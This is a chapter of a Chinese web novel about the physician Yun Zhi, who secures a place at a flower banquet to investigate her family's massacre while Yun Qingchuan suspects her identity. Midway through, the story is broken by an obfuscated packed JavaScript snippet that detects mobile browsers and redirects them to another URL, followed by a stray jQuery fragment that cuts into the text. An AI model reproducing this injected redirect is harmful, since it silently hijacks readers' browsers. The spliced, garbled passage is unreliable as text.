次日。
“织织,我觉得,今日我们还是会遇到那位云大公子,”前往云府的马车上,阿璧凑近云织的耳旁,悄声道,“你可信?”
由于谢凛的前车之鉴,此次阿璧并未先入为主,直接将云清川定为与云家灭门有关的仇人,所以在对他的称呼上,很是客气。
今日,是织织为云妍初治疗的第三日。
她直觉得,不管是不是凑巧,今日这位云大公子,依然会在。
若是他真的在……
一次两次可以说是偶然,若还有第三次,那便绝对是刻意为之的“凑巧”了。
云织闻言垂眸。
云清川的关注,从昨日遇到的时候起,她便感受到了。
只是,他是因为发现了什么,还是纯粹对她竟也会医术而感到好奇,她并不确认。
无论是为了什么,于她,都是件好事。
她刻意接近云府,本就是为了云清川而来。
“织织,你今日这身打扮,真好看!”阿璧见云织不语,又道,“你便该多穿这样鲜艳的颜色,衬得你气色特别的好!”
今日的云织,穿着与往日大为不同。
她素来穿着素淡,不喜欢艳丽张扬的颜色,但今日竟穿了一套浅翠色的衣裙,衬得她少了几分清冷,多了几分灵动,格外娇艳动人。
“嗯。”云织弯了弯嘴角,轻轻应了一声。
垂眸看着今日所穿的衣裙,眼底满是心事。
待到了云府,云织照例为云妍初换了药。
不过才过了两日,云妍初面上的肿块竟消了大半,先前破溃的几处也已结了薄薄的痂。
云妍初照过镜子,对如今恢复的情况大为满意,对云织医术的信任也更加深厚。
“再敷一日,便可停了这药,不必包裹棉纱了。”云织净了手,在桌旁坐下。
“明日我会再带另一味药来给你,早晚各涂抹一次,两日后,便可痊愈。”
“嗯!我记下了!”云妍初认真听着,看着云织的眸光里满是信任与崇拜。
她顿了顿,又开口道:“云织小姐,昨日你离开后发生的事,紫苏对我讲了。”
“昨日,许三小姐与燕大小姐,对你和阿璧姑娘多有冒犯,还请云织小姐,不要与她们一般见识。”
昨日听紫苏说了此事,她着实是气得狠了。
她本就面目受损、不想见人,听了此事后便让紫苏以她身子不适、需要静养为由,直接将她们打发走了。
云织是她求了好久,才答应登门诊治的,若是因为她们二人开罪了云织,云织后续不再为她治疗……她简直不敢想。
且那燕紫鸢自恃身份尊贵,平日里眼高于顶,是根本不屑与她这样的商贾之女结交的,之所以与她亲近,是因为云妃姑姑,和长平公主。
而那许姝,则是因为对她大哥存了那份心思。
这些,她心里都明白的很。
平日里凑在一起,不过是各有目的虚情假意罢了,又有几分真心相交之情。
可云织不一样。
云织真心为她诊治,也是真的治好了她的脸,更难得还分文未取。
就凭这份真心,她定不能教云织在她的家里受了委屈,伤了她们才刚刚建立起来的情谊。
“昨日之事,并非因你而起,不必道歉。”云织语气淡淡。
可云织越是这般淡然豁达,便显得许姝与燕紫鸢的所作所为越是无礼,云妍初心内便愈加感动,觉得过意不去。
“云织小姐,我……”云妍初咬了咬唇,还要再说些什么,便被云织打断了。
“妍初小姐的脸虽然已无大碍,但,却并非已彻底痊愈。”
“没有……没有彻底痊愈?”云妍初闻言满心震惊。
原本想要继续向云织道歉的话,瞬间便抛到了脑后。
半晌之后,她才定了定心神,嗓音轻颤着开口:“云织小姐……这是,这是什么意思?”
“妍初小姐的脸,已痊愈□□,还余一分未除。若是妍初小姐要去参加赏花宴,定然要注意。”
“注意……什么?”云妍初心提在半空,紧紧盯着云织。
“妍初小姐所起这肿疮,实际是禀赋不耐,触忤异物所致,淤毒滞于五内,继而汹湃而发。”云织道,“此症最忌接触花粉,尤其是在尚未完全恢复之时。”
“否则便可能会导致肿疮复发,先前的治疗便功亏一篑了。”
“那……那怎么办?”云妍初被云织所言吓得脸都白了。
赏花宴啊,顾名思义,自然是要赏花的。
怎么可能不接触花粉呢!
“云织小姐是否……是否可以提前配置好药物,赏花宴的时候,我随身带着,以防万一?”
“是可以,但因为不知赏花宴上都有什么花,若是我随意配药,届时不仅没有效果,还会伤及妍初小姐肌肤。”云织依然面色淡淡。
“那……那怎么办……”云妍初双眸含了泪水。
她苦苦等了这么久,盼了这么久,忍耐着疼痛和折磨捱了这些天,便是为了这赏花宴。
如今终于要痊愈了,却又听闻这样的事。
她要参加赏花宴,是为了……见二皇子殿下,哪怕只能远远地看上一眼都好。
如今眼瞧着愿望终于要实现,怎能功亏一篑!
满心绝望间,云妍初瞬间想到了什么,立时抬眸看向云织。
“那……如果我带云织小姐一起去赏花宴呢?”
她双眸灼灼看着云织,满眼都是期待,“若是云织小姐也一同参加,届时看了有什么花,是否能当即配制出对症的药物呢?”
云织沉默了半晌,像是思索了一番后才终于道:“可以,但我素来不爱热闹,不会去参加什么赏花宴。”
“云织小姐!”云妍初闻言眼睛瞬间一亮,忙上前拉住了云织的衣袖,“云织小姐可否同我一起去?”
以她和长平公主的关系,再多求得一张帖子,并非难事。
若是云织可以同去,她的问题,岂不是迎刃而解!
见云织蹙眉,云妍初忙又道:“我知道,云织小姐不喜欢热闹,但……我实在没有办法了,云织小姐,可否再帮妍初一次?”
云织面色似有松动。
云妍初趁机继续恳求,“这赏花宴……我是一定要去的!云织小姐医者仁心,想必定不愿见我病症复发。”
“请云织小姐再帮我一次,日后如果云织小姐需要妍初帮忙,妍初绝不推辞!”
“好吧。”许久之后,云织才终于道,“只此一次。”
“下不为例!”云妍初眼中的泪意还没来得及压下去,便笑得眉眼弯弯。
云织果然医者心肠!
这样的人,日后定要多结交才好!
阿璧看着云妍初喜出望外的模样,竭力压制着嘴角。
明明来之前织织便计划好的,要去参加那个赏花宴,借机调查云妃与长平公主是否与云家的仇有关。
可织织偏偏一副全然不感兴趣的模样,被云妍初求着去参加,然后才不情不愿地答应。
不显山不露水,便达成了目的。
她们织织,最是冰雪聪明了!
“什么下不为例?”此时,屋外一道温润的声音响起。
听闻这声音,云织眸色立时一凝。
而阿璧则是侧头看向云织,眼里写满了“果然如我所料”。
这位云大公子,果然又来刻意“凑巧”偶遇了!
怕是没安什么好心!
“大哥!”云妍初闻言一喜,立刻站起身来,小跑着出去。
“大哥,你今日怎么来了?”
“今日无事,便来看看你。”
云妍初挽住云清川的手臂走回屋,眉眼间满是喜色,“大哥,我方才在邀请云织小姐一同去参加长平公主的赏花会,云织小姐同意了!”
“哦?”云清川温润的目光转向云织,在看到她今日所穿的衣裙时,眸底显然亮了一瞬。
半晌之后,他才掩住眼底的神色,恢复了温润的笑意,“云织小姐,答应一同前往了?”
“嗯。”云织并不多言。
方才云清川眼底的那丝异色,自然没有逃过她的眼睛。
“那,我们那日便可一同前往了。”云清川看着云织,浅声道。
“大哥,你也要去吗?”云妍初瞬间眸色一亮,“可是,你不是说,那日没空陪我吗?”
“原本是的,但计划有变。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481476|201766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云清川对着云妍初笑了笑。
“那太好了!”云妍初激动得简直快要跳起来。
云织身旁的阿璧又挑了挑眉。
计划有变?
怕是听说了她们织织会去,才决定变的吧!
确定了,这人绝对没安什么好心!
“妍初小姐,我告辞了。”云织起身告辞。
“云织小姐,我送你。”云清川侧过头,看着云织道。
云织默了默,没有拒绝。
…
云府后院,云织与云清川并排走着。
阿璧则跟在两人身后。
“云织小姐今日所穿衣裙,颜色很适合你。”云清川背着手,带着笑意道。
“家中兄长曾说,浅翠色很适合我,衬得我像个寻常的姑娘家,很是俏皮可爱,所以,让我多穿。”
云清川身形蓦地一顿。
思绪瞬间被拉回了曾在凤梧山上时。
“清川哥哥,为何送我这样一套衣裙?我穿不惯这个颜色呢!”小姑娘看着手中的衣服,蹙着眉头。
“浅翠色很适合昭昭啊,昭昭穿了,定然像个寻常的小姑娘般,俏皮可爱。”他看着小姑娘,满眼宠溺地道。
“昭昭日后,要多穿这种颜色的衣服,很漂亮。”
“云大公子,怎么了?”云织眸色清冷,看着云清川怔然愣神,淡淡地道。
“无事,是,想起一些旧日的事。”云清川回过神来,看着面前的云织,又是浅浅一笑。
两人继续前行。
“不知云织小姐,是哪里人士?如此年纪轻轻,医术便如此精湛,想必,是师承高人?”云清川道。
“萍乡镇人。至于师从何人,”云织顿了顿,“我答应了师傅,不可以对外人说。”
云织说完,便觉得云清川看过来的目光中,多了一丝探究。
行走间,便到了云府门口。
“云织小姐,很像我的一位故人。”云清川站定,看了云织一瞬,轻声道。
“哦?”云织侧眸,“不知,云织像云大公子的什么人?”
云清川直直看着云织,似乎想在她的面上找到些什么。
半晌之后,才终于低声浅笑,道:“算了,是我多想了。”
“那便祝云大公子,少思少虑,夜能安枕。”云织抬眸看着云清川,忽然笑了一下,“告辞。”
那一笑犹如冬雪映梅,霎那芳华,耀眼到身边的一切仿佛瞬间失去了颜色。
云清川蓦地愣住。
像是有什么在他脑海中瞬间炸开。
他看着云织转身离开,看着她被搀着上了马车,看着马车缓缓而动,渐行渐远。
直到马车拐过前方的街角,再也看不见,却依然久久不动。
…
与此同时。
云府旁的高树上,一个黑色的身影隐在茂密的枝叶中,将方才的情景看得清清楚楚。
沈青满心焦灼,恨不能立即飞身离开。
但云清川仍着了魔一般立在原处不动,他便只能耐着性子等着。
他向来不是沉不住气的人。但……
方才,他都看到了什么?
素来只爱穿素净衣物的云织小姐,今日穿的很是鲜艳。
不仅如此,云织小姐今日,竟是被云清川亲自送了出来。
最重要的,云织小姐方才……方才竟然对着云清川笑!
还笑得特别好看!
沈青不敢相信自己的眼睛。
这还是那个素来淡漠疏离的云织小姐吗?
想到自家公子在云织小姐面前从没有得过什么好脸色,沈青心头不由得又是气愤,又是心疼。
自上次云织小姐将那药还给主子后,主子这几日便更加冷漠寡言了。
这个云清川,论样貌论家世,哪里比得过他们主子?
主子为了云织小姐跑前跑后,那样的付出,怎的云织小姐全都不领情,竟与旁人如此亲密!
沈青不由得想,待谢凛听到此事后,面上该会是怎样的伤心与落寞。
越是想象,便越是不忍。
第一次,沈青恨自己是个忠于职守、且从不会说谎的下属。
还有,视力太好。